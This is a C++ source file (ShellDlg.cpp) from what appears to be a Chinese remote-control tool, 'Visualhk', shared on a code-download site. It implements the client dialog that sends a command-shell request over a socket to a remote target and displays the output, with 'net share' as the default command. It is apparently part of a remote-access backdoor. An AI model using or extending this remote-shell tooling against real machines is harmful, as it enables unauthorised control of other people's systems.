ShellDlg.cpp
资源名称:Visualhk.rar [点击查看]
上传用户:cjw5120
上传日期:2022-05-11
资源大小:5032k
文件大小:4k
源码类别:
网络截获/分析
开发平台:
Visual C++
- // ShellDlg.cpp : implementation file
- //
- #include "stdafx.h"
- #include "MyClient.h"
- #include "ShellDlg.h"
- #include "TcpTran.h"
- #include "comm.h"
- #ifdef _DEBUG
- #define new DEBUG_NEW
- #undef THIS_FILE
- static char THIS_FILE[] = __FILE__;
- #endif
- /*
- 作者:海啸 lyyer English Name: Jack
- blog:http://lyyer.blog.sohu.com
- website:http://www.cnGSG.com
- 海啸网络安全组织
- */
- CWinThread *pCmdShellThread = NULL;
- /////////////////////////////////////////////////////////////////////////////
- // CShellDlg dialog
- //CmdShell 线程
- UINT CmdShellThread(LPVOID lparam)
- {
- CTcpTran m_tcptran;
- COMMAND m_control;
- memset(&m_control,0,sizeof(COMMAND));
- m_control.wCmd = CMD_CMDSHELL;
- CShellDlg *pDlg=(CShellDlg *)lparam;
- if(pDlg->m_command=="")
- ExitThread(0);//无命令,退出线程
- if(pDlg->ClientSocket!=INVALID_SOCKET)
- {
- int ret;
- char RecvBuf[1024]={0}; //接收缓冲
- char command[120];
- strcpy(command,pDlg->m_command);
- strcpy(m_control.szCurDir,command);
- ret=m_tcptran.mysend(pDlg->ClientSocket,(char *)&m_control,sizeof(m_control),0,60);//开启CMDSHELL
- while(ret>0)
- {
- ret=m_tcptran.myrecv(pDlg->ClientSocket,RecvBuf,sizeof (RecvBuf),0,60,0,false); //接收目标数据
- if(ret<=0||RecvBuf[0]==MY_END)
- break;
- //表示接收到数据
- CString current;
- pDlg->m_CmdEdit.GetWindowText(current);
- pDlg->m_CmdEdit.SetWindowText(current+RecvBuf);
- memset(RecvBuf,0,sizeof(RecvBuf)); //缓冲清零
- pDlg->m_CmdEdit.LineScroll(pDlg->m_CmdEdit.GetLineCount());
- }
- }
- pCmdShellThread = NULL;
- return 0;
- }
- CShellDlg::CShellDlg(CWnd* pParent /*=NULL*/)
- : CDialog(CShellDlg::IDD, pParent)
- {
- //{{AFX_DATA_INIT(CShellDlg)
- m_command = _T("");
- //}}AFX_DATA_INIT
- }
- void CShellDlg::DoDataExchange(CDataExchange* pDX)
- {
- CDialog::DoDataExchange(pDX);
- //{{AFX_DATA_MAP(CShellDlg)
- DDX_Control(pDX, IDC_EDIT_CMDTEXT, m_CmdEdit);
- DDX_Text(pDX, IDC_EDIT_CMDSHELL, m_command);
- //}}AFX_DATA_MAP
- }
- BEGIN_MESSAGE_MAP(CShellDlg, CDialog)
- //{{AFX_MSG_MAP(CShellDlg)
- ON_WM_CTLCOLOR()
- ON_WM_SHOWWINDOW()
- ON_BN_CLICKED(IDC_BUTTON_CMDSHELL, OnButtonCmdshell)
- //}}AFX_MSG_MAP
- END_MESSAGE_MAP()
- /////////////////////////////////////////////////////////////////////////////
- // CShellDlg message handlers
- HBRUSH CShellDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
- {
- HBRUSH hbr = CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
- // TODO: Change any attributes of the DC here
- if( nCtlColor == CTLCOLOR_EDIT)
- {
- pDC->SetBkMode(TRANSPARENT);
- COLORREF COLOR = RGB(0, 0, 0);
- HBRUSH brush = CreateSolidBrush(COLOR); //COLOR是你想设置的颜色
- pDC->SetTextColor(RGB(255, 255, 255));
- return (HBRUSH) brush;
- }
- // TODO: Return a different brush if the default is not desired
- return hbr;
- }
- BOOL CShellDlg::OnInitDialog()
- {
- CDialog::OnInitDialog();
- SetDlgItemText(IDC_EDIT_CMDSHELL,"net share");
- //UpdateData(FALSE);
- return TRUE;
- }
- void CShellDlg::OnShowWindow(BOOL bShow, UINT nStatus)
- {
- m_cmd = "海啸远程控制软件 [ 版本权所有 lyyerv1.0] rn版本权所有 2006-2009 rnCmd Line:rn";
- //SetDlgItemText(IDC_EDIT_CMDTEXT,m_cmd);
- m_CmdEdit.SetWindowText(m_cmd);
- if(pCmdShellThread != NULL)
- {
- ::TerminateThread(pCmdShellThread->m_hThread, 0);
- ::WaitForSingleObject(pCmdShellThread->m_hThread, INFINITE);
- CloseHandle(pCmdShellThread->m_hThread);
- pCmdShellThread = NULL;
- }
- CDialog::OnShowWindow(bShow, nStatus);
- }
- void CShellDlg::OnButtonCmdshell()
- {
- // TODO: Add your control notification handler code here
- UpdateData();
- if(pCmdShellThread != NULL)
- {
- ::TerminateThread(pCmdShellThread->m_hThread, 0);
- ::WaitForSingleObject(pCmdShellThread->m_hThread, INFINITE);
- CloseHandle(pCmdShellThread->m_hThread);
- pCmdShellThread = NULL;
- }
- pCmdShellThread = AfxBeginThread(CmdShellThread, (LPVOID)this);
- }